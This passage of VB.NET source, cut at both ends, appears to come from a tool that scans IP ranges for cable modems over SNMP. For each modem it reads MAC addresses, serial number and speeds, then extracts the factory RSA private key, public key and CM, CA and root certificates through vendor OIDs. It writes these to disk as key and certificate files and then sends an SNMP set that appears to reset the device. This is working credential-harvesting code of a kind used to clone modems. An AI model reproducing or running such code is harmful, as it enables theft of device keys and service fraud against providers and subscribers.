  2032.                     End If
  2033.                     sInSpeedd1.Close()
  2034.                     sOutSpeedd1.Close()
  2035.                     sErrSpeedd1.Close()
  2036.                     myProcessspeedd1.Close()
  2037.                     Dim tempSpeedd1 As String
  2038.                     tempSpeedd1 = Replace(check_cannot_find_module(sspeedd1), "Gauge32: ", Nothing)
  2039.                     tempSpeedd1 = Replace(tempSpeedd1, "Hex-", Nothing)
  2040.                     tempSpeedd1 = Replace(tempSpeedd1, Chr(34), Nothing)
  2041.                     tempSpeedd = tempSpeedd1
  2042.  
  2043.                     Dim testing As String
  2044.                     testing = Replace(tempSpeedd1, vbCrLf, ",")
  2045.                     ''MsgBox(testing)
  2046.                     Dim split As String()
  2047.                     split = testing.Split(",")
  2048.                     tempSpeedd = split(0).ToString
  2049.                     tempSpeedu = split(4).ToString
  2050.                     ''MsgBox(tempSpeedd)
  2051.                     ''MsgBox(tempSpeedu)
  2052.                 End If
  2053.  
  2054.  
  2055.  
  2056.                 Dim oFileSER As System.IO.File
  2057.                 Dim oWriteSER As System.IO.StreamWriter
  2058.                 Dim filedirSER As String = "C:\snmpcert\" & temp & "\" & tempm & "\cminfo.txt"
  2059.                 oWriteSER = oFileSER.CreateText(filedirSER)
  2060.                 oWriteSER.WriteLine("modem's ip was:" & modem_ip & vbCrLf & "mac was : " & tempm & vbCrLf & "usb mac was:" & tempum & vbCrLf & "modem's serial was: " & tempSER & "modem's upload speed was:" & tempSpeedd.ToString & vbCrLf & "modem's download speed was:" & tempSpeedu.ToString)
  2061.                 oWriteSER.Close()
  2062.  
  2063.                 Dim filetodelete As String
  2064.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\ca.cer"
  2065.                 If System.IO.File.Exists(filetodelete) = True Then
  2066.                     System.IO.File.Delete(filetodelete)
  2067.                 End If
  2068.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\CM.cer"
  2069.                 If System.IO.File.Exists(filetodelete) = True Then
  2070.                     System.IO.File.Delete(filetodelete)
  2071.                 End If
  2072.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\private.Key"
  2073.                 If System.IO.File.Exists(filetodelete) = True Then
  2074.                     System.IO.File.Delete(filetodelete)
  2075.                 End If
  2076.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\Public.key"
  2077.                 If System.IO.File.Exists(filetodelete) = True Then
  2078.                     System.IO.File.Delete(filetodelete)
  2079.                 End If
  2080.  
  2081.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\root.key"
  2082.                 If System.IO.File.Exists(filetodelete) = True Then
  2083.                     System.IO.File.Delete(filetodelete)
  2084.                 End If
  2085.  
  2086.  
  2087.  
  2088.  
  2089.  
  2090.  
  2091.  
  2092.                 'get cmFactoryRSAPublicKey.txt
  2093.                 Dim myProcess1 As Process = New Process
  2094.                 Dim s1 As String
  2095.                 myProcess1.StartInfo.FileName = x
  2096.                 myProcess1.StartInfo.UseShellExecute = False
  2097.                 myProcess1.StartInfo.CreateNoWindow = True
  2098.                 myProcess1.StartInfo.RedirectStandardInput = True
  2099.                 myProcess1.StartInfo.RedirectStandardOutput = True
  2100.                 myProcess1.StartInfo.RedirectStandardError = True
  2101.                 myProcess1.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.50.0"
  2102.                 myProcess1.Start()
  2103.                 Dim sIn1 As StreamWriter = myProcess1.StandardInput
  2104.                 sIn1.AutoFlush = True
  2105.                 Dim sOut1 As StreamReader = myProcess1.StandardOutput
  2106.                 Dim sErr1 As StreamReader = myProcess1.StandardError
  2107.                 s1 = sOut1.ReadToEnd()
  2108.                 If Not myProcess1.HasExited Then
  2109.                     myProcess1.Kill()
  2110.                 End If
  2111.                 sIn1.Close()
  2112.                 sOut1.Close()
  2113.                 sErr1.Close()
  2114.                 myProcess1.Close()
  2115.                 Dim temp1 As String
  2116.                 temp1 = Replace(check_cannot_find_module(s1), "STRING: ", Nothing)
  2117.                 temp1 = Replace(temp1, "Hex-", Nothing)
  2118.                 temp1 = Replace(temp1, Chr(34), Nothing)
  2119.                 Dim oFile As System.IO.File
  2120.                 Dim oWrite As System.IO.StreamWriter
  2121.                 If File.Exists("C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt") Then
  2122.                     File.Delete("C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt")
  2123.                 End If
  2124.                 Dim filedir As String = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt"
  2125.                 oWrite = oFile.CreateText(filedir)
  2126.                 oWrite.WriteLine(temp1)
  2127.                 oWrite.Close()
  2128.                 Dim bytelist1 As String()
  2129.                 Dim templist1 As String
  2130.                 templist1 = Replace(temp1, vbCrLf, " ")
  2131.                 templist1 = templist1.Remove(templist1.Length - 1, 1)
  2132.                 templist1 = Replace(templist1, " ", ",")
  2133.                 templist1 = Replace(templist1, ",,", ",")
  2134.                 bytelist1 = Split(templist1, ",")
  2135.                 Dim coutner1 As Integer
  2136.                 coutner1 = 2
  2137.                 Dim countback1 As Integer = bytelist1.Length - 2
  2138.                 Dim countup1 As Integer = 1
  2139.                 Dim watchvar1 As Integer = 0
  2140.                 While countback1 >= 0
  2141.                     If bytelist1(countback1).ToString = "00" AndAlso watchvar1 = 0 Then
  2142.                         countup1 += 1
  2143.                     Else
  2144.                         watchvar1 = 1
  2145.                     End If
  2146.                     countback1 -= 1
  2147.                 End While
  2148.                 While coutner1 < bytelist1.Length - countup1
  2149.                     Dim byteData As Byte = CInt("&H" & bytelist1(coutner1).ToString)
  2150.                     Dim oFileStream1 As System.IO.FileStream
  2151.                     oFileStream1 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\Public.Key", System.IO.FileMode.Append)
  2152.                     oFileStream1.WriteByte(byteData)
  2153.                     oFileStream1.Close()
  2154.                     coutner1 += 1
  2155.                 End While
  2156.                 'get cmFactoryRSAPrivateKey.txt
  2157.                 Dim myProcess2 As Process = New Process
  2158.                 Dim s2 As String
  2159.                 myProcess2.StartInfo.FileName = x
  2160.                 myProcess2.StartInfo.UseShellExecute = False
  2161.                 myProcess2.StartInfo.CreateNoWindow = True
  2162.                 myProcess2.StartInfo.RedirectStandardInput = True
  2163.                 myProcess2.StartInfo.RedirectStandardOutput = True
  2164.                 myProcess2.StartInfo.RedirectStandardError = True
  2165.                 myProcess2.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.51.0"
  2166.                 myProcess2.Start()
  2167.                 Dim sIn2 As StreamWriter = myProcess2.StandardInput
  2168.                 sIn2.AutoFlush = True
  2169.                 Dim sOut2 As StreamReader = myProcess2.StandardOutput
  2170.                 Dim sErr2 As StreamReader = myProcess2.StandardError
  2171.                 s2 = sOut2.ReadToEnd()
  2172.                 If Not myProcess2.HasExited Then
  2173.                     myProcess2.Kill()
  2174.                 End If
  2175.                 sIn2.Close()
  2176.                 sOut2.Close()
  2177.                 sErr2.Close()
  2178.                 myProcess2.Close()
  2179.                 Dim temp2 As String
  2180.                 temp2 = Replace(check_cannot_find_module(s2), "STRING: ", "")
  2181.                 temp2 = Replace(temp2, "Hex-", "")
  2182.                 temp2 = Replace(temp2, Chr(34), "")
  2183.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPrivateKey.txt"
  2184.                 oWrite = oFile.CreateText(filedir)
  2185.                 oWrite.WriteLine(temp2)
  2186.                 oWrite.Close()
  2187.                 Dim bytelist2 As String()
  2188.                 Dim templist2 As String
  2189.                 templist2 = Replace(temp2, vbCrLf, " ")
  2190.                 templist2 = templist2.Remove(templist2.Length - 1, 1)
  2191.                 templist2 = Replace(templist2, " ", ",")
  2192.                 templist2 = Replace(templist2, ",,", ",")
  2193.                 bytelist2 = Split(templist2, ",")
  2194.                 Dim coutner2 As Integer
  2195.                 coutner2 = 2
  2196.                 Dim countback2 As Integer = bytelist2.Length - 2
  2197.                 Dim countup2 As Integer = 1
  2198.                 Dim watchvar2 As Integer = 0
  2199.                 While countback2 >= 0
  2200.                     If bytelist2(countback2).ToString = "00" AndAlso watchvar2 = 0 Then
  2201.                         countup2 += 1
  2202.                     Else
  2203.                         watchvar2 = 1
  2204.                     End If
  2205.                     countback2 -= 1
  2206.                 End While
  2207.                 While coutner2 < bytelist2.Length - countup2
  2208.                     Dim byteData2 As Byte = CInt("&H" & bytelist2(coutner2).ToString)
  2209.                     Dim oFileStream2 As System.IO.FileStream
  2210.                     oFileStream2 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\private.Key", System.IO.FileMode.Append)
  2211.                     oFileStream2.WriteByte(byteData2)
  2212.                     oFileStream2.Close()
  2213.                     coutner2 += 1
  2214.                 End While
  2215.                 'get cmFactoryCMCertificate.txt
  2216.                 Dim myProcess3 As Process = New Process
  2217.                 Dim s3 As String
  2218.                 myProcess3.StartInfo.FileName = x
  2219.                 myProcess3.StartInfo.UseShellExecute = False
  2220.                 myProcess3.StartInfo.CreateNoWindow = True
  2221.                 myProcess3.StartInfo.RedirectStandardInput = True
  2222.                 myProcess3.StartInfo.RedirectStandardOutput = True
  2223.                 myProcess3.StartInfo.RedirectStandardError = True
  2224.                 myProcess3.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.52.0"
  2225.                 myProcess3.Start()
  2226.                 Dim sIn3 As StreamWriter = myProcess3.StandardInput
  2227.                 sIn3.AutoFlush = True
  2228.                 Dim sOut3 As StreamReader = myProcess3.StandardOutput
  2229.                 Dim sErr3 As StreamReader = myProcess3.StandardError
  2230.                 s3 = sOut3.ReadToEnd()
  2231.                 If Not myProcess3.HasExited Then
  2232.                     myProcess3.Kill()
  2233.                 End If
  2234.                 sIn3.Close()
  2235.                 sOut3.Close()
  2236.                 sErr3.Close()
  2237.                 myProcess3.Close()
  2238.                 Dim temp3 As String
  2239.  
  2240.                 temp3 = Replace(check_cannot_find_module(s3), "STRING: ", "")
  2241.                 temp3 = Replace(temp3, "Hex-", "")
  2242.                 temp3 = Replace(temp3, Chr(34), "")
  2243.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryCMCertificate.txt"
  2244.                 oWrite = oFile.CreateText(filedir)
  2245.                 oWrite.WriteLine(temp3)
  2246.                 oWrite.Close()
  2247.                 Dim bytelist3 As String()
  2248.                 Dim templist3 As String
  2249.                 templist3 = Replace(temp3, vbCrLf, " ")
  2250.                 templist3 = templist3.Remove(templist3.Length - 1, 1)
  2251.                 templist3 = Replace(templist3, " ", ",")
  2252.                 templist3 = Replace(templist3, ",,", ",")
  2253.                 bytelist3 = Split(templist3, ",")
  2254.                 Dim coutner3 As Integer
  2255.                 coutner3 = 2
  2256.                 Dim countback3 As Integer = bytelist3.Length - 2
  2257.                 Dim countup3 As Integer = 1
  2258.                 Dim watchvar3 As Integer = 0
  2259.                 While countback3 >= 0
  2260.                     If bytelist3(countback3).ToString = "00" And watchvar3 = 0 Then
  2261.                         countup3 += 1
  2262.                     Else
  2263.                         watchvar3 = 1
  2264.                     End If
  2265.                     countback3 -= 1
  2266.                 End While
  2267.                 While coutner3 < bytelist3.Length - countup3
  2268.                     Dim byteData3 As Byte = CInt("&H" & bytelist3(coutner3).ToString)
  2269.                     Dim oFileStream3 As System.IO.FileStream
  2270.                     oFileStream3 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\CM.cer", System.IO.FileMode.Append)
  2271.                     oFileStream3.WriteByte(byteData3)
  2272.                     oFileStream3.Close()
  2273.                     coutner3 = coutner3 + 1
  2274.                 End While
  2275.                 'get cmFactoryCaCertificate.txt
  2276.                 Dim myProcess4 As Process = New Process
  2277.                 Dim s4 As String
  2278.                 myProcess4.StartInfo.FileName = x
  2279.                 myProcess4.StartInfo.UseShellExecute = False
  2280.                 myProcess4.StartInfo.CreateNoWindow = True
  2281.                 myProcess4.StartInfo.RedirectStandardInput = True
  2282.                 myProcess4.StartInfo.RedirectStandardOutput = True
  2283.                 myProcess4.StartInfo.RedirectStandardError = True
  2284.                 myProcess4.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.53.0"
  2285.                 myProcess4.Start()
  2286.                 Dim sIn4 As StreamWriter = myProcess4.StandardInput
  2287.                 sIn4.AutoFlush = True
  2288.                 Dim sOut4 As StreamReader = myProcess4.StandardOutput
  2289.                 Dim sErr4 As StreamReader = myProcess4.StandardError
  2290.                 s4 = sOut4.ReadToEnd()
  2291.                 If Not myProcess4.HasExited Then
  2292.                     myProcess4.Kill()
  2293.                 End If
  2294.                 sIn4.Close()
  2295.                 sOut4.Close()
  2296.                 sErr4.Close()
  2297.                 myProcess4.Close()
  2298.                 Dim temp4 As String
  2299.                 temp4 = Replace(check_cannot_find_module(s4), "STRING: ", "")
  2300.                 temp4 = Replace(temp4, "Hex-", "")
  2301.                 temp4 = Replace(temp4, Chr(34), "")
  2302.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryCACertificate.txt"
  2303.                 oWrite = oFile.CreateText(filedir)
  2304.                 oWrite.WriteLine(temp4)
  2305.                 oWrite.Close()
  2306.                 Dim bytelist4 As String()
  2307.                 Dim templist4 As String
  2308.                 templist4 = Replace(temp4, vbCrLf, " ")
  2309.                 templist4 = templist4.Remove(templist4.Length - 1, 1)
  2310.                 templist4 = Replace(templist4, " ", ",")
  2311.                 templist4 = Replace(templist4, ",,", ",")
  2312.                 bytelist4 = Split(templist4, ",")
  2313.                 Dim coutner4 As Integer
  2314.                 coutner4 = 2
  2315.                 Dim countback4 As Integer = bytelist4.Length - 2
  2316.                 Dim countup4 As Integer = 1
  2317.                 Dim watchvar4 As Integer = 0
  2318.                 While countback4 >= 0
  2319.                     If bytelist4(countback4).ToString = "00" And watchvar4 = 0 Then
  2320.                         countup4 = countup4 + 1
  2321.                     Else
  2322.                         watchvar4 = 1
  2323.                     End If
  2324.                     countback4 = countback4 - 1
  2325.                 End While
  2326.                 While coutner4 < bytelist4.Length - countup4
  2327.                     Dim byteData4 As Byte = CInt("&H" & bytelist4(coutner4).ToString)
  2328.                     Dim oFileStream4 As System.IO.FileStream
  2329.                     oFileStream4 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\ca.cer", System.IO.FileMode.Append)
  2330.                     oFileStream4.WriteByte(byteData4)
  2331.                     oFileStream4.Close()
  2332.                     coutner4 = coutner4 + 1
  2333.                 End While
  2334.                 'get cmFactoryRootCertificate.txt
  2335.                 Dim myProcess5 As Process = New Process
  2336.                 Dim s5 As String
  2337.                 myProcess5.StartInfo.FileName = x
  2338.                 myProcess5.StartInfo.UseShellExecute = False
  2339.                 myProcess5.StartInfo.CreateNoWindow = True
  2340.                 myProcess5.StartInfo.RedirectStandardInput = True
  2341.                 myProcess5.StartInfo.RedirectStandardOutput = True
  2342.                 myProcess5.StartInfo.RedirectStandardError = True
  2343.                 myProcess5.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.54.0"
  2344.                 myProcess5.Start()
  2345.                 Dim sIn5 As StreamWriter = myProcess5.StandardInput
  2346.                 sIn5.AutoFlush = True
  2347.                 Dim sOut5 As StreamReader = myProcess5.StandardOutput
  2348.                 Dim sErr5 As StreamReader = myProcess5.StandardError
  2349.                 s5 = sOut5.ReadToEnd()
  2350.                 If Not myProcess5.HasExited Then
  2351.                     myProcess5.Kill()
  2352.                 End If
  2353.                 sIn5.Close()
  2354.                 sOut5.Close()
  2355.                 sErr5.Close()
  2356.                 myProcess5.Close()
  2357.                 Dim temp5 As String
  2358.  
  2359.                 temp5 = Replace(check_cannot_find_module(s5), "STRING: ", "")
  2360.                 temp5 = Replace(temp5, "Hex-", "")
  2361.                 temp5 = Replace(temp5, Chr(34), "")
  2362.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRootCertificate.txt"
  2363.                 oWrite = oFile.CreateText(filedir)
  2364.                 oWrite.WriteLine(temp5)
  2365.                 oWrite.Close()
  2366.                 Dim bytelist5 As String()
  2367.                 Dim templist5 As String
  2368.                 templist5 = Replace(temp5, vbCrLf, " ")
  2369.                 templist5 = templist5.Remove(templist5.Length - 1, 1)
  2370.                 templist5 = Replace(templist5, " ", ",")
  2371.                 templist5 = Replace(templist5, ",,", ",")
  2372.                 bytelist5 = Split(templist5, ",")
  2373.                 Dim coutner5 As Integer
  2374.                 coutner5 = 2
  2375.                 Dim countback5 As Integer = bytelist5.Length - 2
  2376.                 Dim countup5 As Integer = 1
  2377.                 Dim watchvar5 As Integer = 0
  2378.                 While countback5 >= 0
  2379.                     If bytelist5(countback5).ToString = "00" And watchvar5 = 0 Then
  2380.                         countup5 = countup5 + 1
  2381.                     Else
  2382.                         watchvar5 = 1
  2383.                     End If
  2384.                     countback5 = countback5 - 1
  2385.                 End While
  2386.                 While coutner5 < bytelist5.Length - countup5
  2387.                     Dim byteData5 As Byte = CInt("&H" & bytelist5(coutner5).ToString)
  2388.                     Dim oFileStream5 As System.IO.FileStream
  2389.                     oFileStream5 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\root.Key", System.IO.FileMode.Append)
  2390.                     oFileStream5.WriteByte(byteData5)
  2391.                     oFileStream5.Close()
  2392.                     coutner5 = coutner5 + 1
  2393.                 End While
  2394.  
  2395.                 x = "C:\snmpcert\snmpset.exe"
  2396.                 Dim myProcess6 As Process = New Process
  2397.                 Dim s6 As String
  2398.                 myProcess6.StartInfo.FileName = x
  2399.                 myProcess6.StartInfo.UseShellExecute = False
  2400.                 myProcess6.StartInfo.CreateNoWindow = True
  2401.                 myProcess6.StartInfo.RedirectStandardInput = True
  2402.                 myProcess6.StartInfo.RedirectStandardOutput = True
  2403.                 myProcess6.StartInfo.RedirectStandardError = True
  2404.                 myProcess6.StartInfo.Arguments = "-v2c -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.29.0"
  2405.                 myProcess6.Start()
  2406.                 Dim sIn6 As StreamWriter = myProcess6.StandardInput
  2407.                 sIn6.AutoFlush = True
  2408.                 Dim sOut6 As StreamReader = myProcess6.StandardOutput
  2409.                 Dim sErr6 As StreamReader = myProcess6.StandardError
  2410.                 s6 = sOut6.ReadToEnd()
  2411.                 If Not myProcess6.HasExited Then
  2412.                     myProcess6.Kill()
  2413.                 End If
  2414.                 sIn6.Close()
  2415.                 sOut6.Close()
  2416.                 sErr6.Close()
  2417.                 myProcess6.Close()
  2418.                 Dim myProcess7 As Process = New Process
  2419.                 Dim s7 As String
  2420.                 myProcess7.StartInfo.FileName = x
  2421.                 myProcess7.StartInfo.UseShellExecute = False
  2422.                 myProcess7.StartInfo.CreateNoWindow = True
  2423.                 myProcess7.StartInfo.RedirectStandardInput = True
  2424.                 myProcess7.StartInfo.RedirectStandardOutput = True
  2425.                 myProcess7.StartInfo.RedirectStandardError = True
  2426.                 myProcess7.StartInfo.Arguments = "-v2c -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.69.1.1.3.0 i 1"
  2427.                 myProcess7.Start()
  2428.                 Dim sIn7 As StreamWriter = myProcess7.StandardInput
  2429.                 sIn7.AutoFlush = True
  2430.                 Dim sOut7 As StreamReader = myProcess7.StandardOutput
  2431.                 Dim sErr7 As StreamReader = myProcess7.StandardError
  2432.                 s7 = sOut7.ReadToEnd()
  2433.                 If Not myProcess7.HasExited Then
  2434.                     myProcess7.Kill()
  2435.                 End If
  2436.                 sIn7.Close()
  2437.                 sOut7.Close()
  2438.                 sErr7.Close()
  2439.                 myProcess7.Close()
  2440.  
  2441.                 Timer1.Enabled = True
  2442.             Catch ex As Exception
  2443.                 Exit Sub
  2444.             End Try
  2445.         End If
  2446.     End Sub
  2447.     Sub check3(ByVal ip0 As Integer, ByVal ip1 As Integer, ByVal ip2 As Integer)
  2448.         Dim modem_ip As String = octet4.ToString & "." & ip0.ToString & "." & ip1.ToString & "." & ip2
  2449.         Dim x = "C:\snmpcert\snmpget.exe"
  2450.         Dim myProcess As Process = New Process
  2451.         Dim s As String = ""
  2452.         myProcess.StartInfo.FileName = x
  2453.         myProcess.StartInfo.UseShellExecute = False
  2454.         myProcess.StartInfo.CreateNoWindow = True
  2455.         myProcess.StartInfo.RedirectStandardInput = True
  2456.         myProcess.StartInfo.RedirectStandardOutput = True
  2457.         myProcess.StartInfo.RedirectStandardError = True
  2458.         myProcess.StartInfo.Arguments = "-v2c -O v -r 2 -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.1.0"
  2459.         myProcess.Start()
  2460.         Dim sIn As StreamWriter = myProcess.StandardInput
  2461.         sIn.AutoFlush = True
  2462.         Dim sOut As StreamReader = myProcess.StandardOutput
  2463.         Dim sErr As StreamReader = myProcess.StandardError
  2464.  
  2465.  
  2466.         s = sOut.ReadToEnd()
  2467.         Dim e As String = sErr.ReadToEnd
  2468.         Console.WriteLine(s)
  2469.         output = e
  2470.         output = s
  2471.         If Not myProcess.HasExited Then
  2472.             myProcess.Kill()
  2473.         End If
  2474.         sIn.Close()
  2475.         sOut.Close()
  2476.         sErr.Close()
  2477.         myProcess.Close()
  2478.         Dim temp As String = ""
  2479.         temp = Replace(check_cannot_find_module(s), "STRING: ", "")
  2480.         temp = Replace(temp, Chr(34), "")
  2481.         If temp = Nothing Then
  2482.             temp = ""
  2483.         Else
  2484.             If temp = "No Such Object available on this agent at this OID" Then
  2485.                 allmodems += 1
  2486.             End If
  2487.             temp = temp.ToString.ToUpper
  2488.             Dim values As String
  2489.             values = temp
  2490.             Dim sites As String() = Nothing
  2491.             sites = values.Split(" ")
  2492.             Dim t As String
  2493.             For Each t In sites
  2494.                 If t = "NO" Then
  2495.                     track = 1
  2496.  
  2497.                 End If
  2498.  
  2499.             Next t
  2500.         End If
  2501.         If temp.ToString = "" Then
  2502.             Timer1.Enabled = True
  2503.             Exit Sub
  2504.         ElseIf track = 1 Then
  2505.             track = 0
  2506.             Timer1.Enabled = True
  2507.             Exit Sub
  2508.         Else
  2509.             total_modems += 1
  2510.  
  2511.             Try
  2512.                 Dim mymac1 As Process = New Process
  2513.                 Dim sm As String
  2514.                 mymac1.StartInfo.FileName = x
  2515.                 mymac1.StartInfo.UseShellExecute = False
  2516.                 mymac1.StartInfo.CreateNoWindow = True
  2517.                 mymac1.StartInfo.RedirectStandardInput = True
  2518.                 mymac1.StartInfo.RedirectStandardOutput = True
  2519.                 mymac1.StartInfo.RedirectStandardError = True
  2520.                 mymac1.StartInfo.Arguments = "-v2c -O v -c " & community_string.ToString & " " & modem_ip.ToString & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.4.0"
  2521.                 mymac1.Start()
  2522.                 Dim sInm As StreamWriter = mymac1.StandardInput
  2523.                 sInm.AutoFlush = True
  2524.                 Dim sOutm As StreamReader = mymac1.StandardOutput
  2525.                 Dim sErrm As StreamReader = mymac1.StandardError
  2526.                 sm = sOutm.ReadToEnd()
  2527.                 If Not mymac1.HasExited Then
  2528.                     mymac1.Kill()
  2529.                 End If
  2530.                 sInm.Close()
  2531.                 sOutm.Close()
  2532.                 sErrm.Close()
  2533.                 mymac1.Close()
  2534.                 Dim tempm As String = ""
  2535.                 tempm = Replace(check_cannot_find_module(sm), "STRING: ", Nothing)
  2536.                 tempm = Replace(tempm, "Hex-", Nothing)
  2537.                 tempm = Replace(tempm, Chr(34), Nothing)
  2538.                 tempm = Replace(tempm, ":", Nothing)
  2539.                 tempm = Replace(tempm, " ", Nothing)
  2540.                 temp = Replace(temp, vbCrLf, Nothing)
  2541.                 tempm = Replace(tempm, vbCrLf, Nothing)
  2542.                 Dim usbmac As Process = New Process
  2543.                 Dim sm1 As String
  2544.                 usbmac.StartInfo.FileName = x
  2545.                 usbmac.StartInfo.UseShellExecute = False
  2546.                 usbmac.StartInfo.CreateNoWindow = True
  2547.                 usbmac.StartInfo.RedirectStandardInput = True
  2548.                 usbmac.StartInfo.RedirectStandardOutput = True
  2549.                 usbmac.StartInfo.RedirectStandardError = True
  2550.                 usbmac.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.60.0"
  2551.                 usbmac.Start()
  2552.                 Dim sInm1 As StreamWriter = usbmac.StandardInput
  2553.                 sInm1.AutoFlush = True
  2554.                 Dim sOutm1 As StreamReader = usbmac.StandardOutput
  2555.                 Dim sErrm1 As StreamReader = usbmac.StandardError
  2556.                 sm1 = sOutm1.ReadToEnd()
  2557.                 If Not usbmac.HasExited Then
  2558.                     usbmac.Kill()
  2559.                 End If
  2560.                 sInm1.Close()
  2561.                 sOutm1.Close()
  2562.                 sErrm1.Close()
  2563.                 usbmac.Close()
  2564.                 Dim tempum As String = ""
  2565.                 tempum = Replace(check_cannot_find_module(sm1), "STRING: ", Nothing)
  2566.                 tempum = Replace(tempum, "Hex-", Nothing)
  2567.                 tempum = Replace(tempum, Chr(34), Nothing)
  2568.                 tempum = Replace(tempum, ":", Nothing)
  2569.                 tempum = Replace(tempum, " ", Nothing)
  2570.                 tempum = Replace(tempum, vbCrLf, Nothing)
  2571.                 Directory.CreateDirectory("C:\snmpcert\" & temp)
  2572.                 Directory.CreateDirectory("C:\snmpcert\" & temp & "\" & tempm)
  2573.                 'get SERIAL number
  2574.                 Dim myProcessSER As Process = New Process
  2575.                 Dim sSER As String
  2576.                 myProcessSER.StartInfo.FileName = x
  2577.                 myProcessSER.StartInfo.UseShellExecute = False
  2578.                 myProcessSER.StartInfo.CreateNoWindow = True
  2579.                 myProcessSER.StartInfo.RedirectStandardInput = True
  2580.                 myProcessSER.StartInfo.RedirectStandardOutput = True
  2581.                 myProcessSER.StartInfo.RedirectStandardError = True
  2582.                 myProcessSER.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.6.0"
  2583.                 myProcessSER.Start()
  2584.                 Dim sInSER As StreamWriter = myProcessSER.StandardInput
  2585.                 sInSER.AutoFlush = True
  2586.                 Dim sOutSER As StreamReader = myProcessSER.StandardOutput
  2587.                 Dim sErrSER As StreamReader = myProcessSER.StandardError
  2588.                 sSER = sOutSER.ReadToEnd()
  2589.                 If Not myProcessSER.HasExited Then
  2590.                     myProcessSER.Kill()
  2591.                 End If
  2592.                 sInSER.Close()
  2593.                 sOutSER.Close()
  2594.                 sErrSER.Close()
  2595.                 myProcessSER.Close()
  2596.                 Dim tempSER As String
  2597.                 tempSER = Replace(check_cannot_find_module(sSER), "STRING: ", Nothing)
  2598.                 tempSER = Replace(tempSER, "Hex-", Nothing)
  2599.                 tempSER = Replace(tempSER, Chr(34), Nothing)
  2600.  
  2601.  
  2602.  
  2603.  
  2604.  
  2605.  
  2606.                 'get download speed
  2607.  
  2608.                 Dim myProcessspeedd As Process = New Process
  2609.                 Dim sspeedd As String
  2610.                 myProcessspeedd.StartInfo.FileName = x
  2611.                 myProcessspeedd.StartInfo.UseShellExecute = False
  2612.                 myProcessspeedd.StartInfo.CreateNoWindow = True
  2613.                 myProcessspeedd.StartInfo.RedirectStandardInput = True
  2614.                 myProcessspeedd.StartInfo.RedirectStandardOutput = True
  2615.                 myProcessspeedd.StartInfo.RedirectStandardError = True
  2616.                 myProcessspeedd.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2.16706.1"
  2617.                 myProcessspeedd.Start()
  2618.  
  2619.  
  2620.                 Dim sInSpeedd As StreamWriter = myProcessspeedd.StandardInput
  2621.                 sInSpeedd.AutoFlush = True
  2622.                 Dim sOutSpeedd As StreamReader = myProcessspeedd.StandardOutput
  2623.                 Dim sErrSpeedd As StreamReader = myProcessspeedd.StandardError
  2624.                 sspeedd = sOutSpeedd.ReadToEnd()
  2625.                 If Not myProcessspeedd.HasExited Then
  2626.                     myProcessspeedd.Kill()
  2627.                 End If
  2628.                 sInSpeedd.Close()
  2629.                 sOutSpeedd.Close()
  2630.                 sErrSpeedd.Close()
  2631.                 myProcessspeedd.Close()
  2632.                 Dim tempSpeedd As String
  2633.                 tempSpeedd = Replace(check_cannot_find_module(sspeedd), "Gauge32: ", Nothing)
  2634.                 tempSpeedd = Replace(tempSpeedd, "Hex-", Nothing)
  2635.                 tempSpeedd = Replace(tempSpeedd, Chr(34), Nothing)
  2636.                 tempSpeedd = Replace(tempSpeedd, vbCrLf, Nothing)
  2637.                 'get upload speed
  2638.                 Dim myProcessspeedu As Process = New Process
  2639.                 Dim sspeedu As String
  2640.                 myProcessspeedu.StartInfo.FileName = x
  2641.                 myProcessspeedu.StartInfo.UseShellExecute = False
  2642.                 myProcessspeedu.StartInfo.CreateNoWindow = True
  2643.                 myProcessspeedu.StartInfo.RedirectStandardInput = True
  2644.                 myProcessspeedu.StartInfo.RedirectStandardOutput = True
  2645.                 myProcessspeedu.StartInfo.RedirectStandardError = True
  2646.                 myProcessspeedu.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2.16717.1"
  2647.                 myProcessspeedu.Start()
  2648.                 Dim sInSpeedu As StreamWriter = myProcessspeedu.StandardInput
  2649.                 sInSpeedu.AutoFlush = True
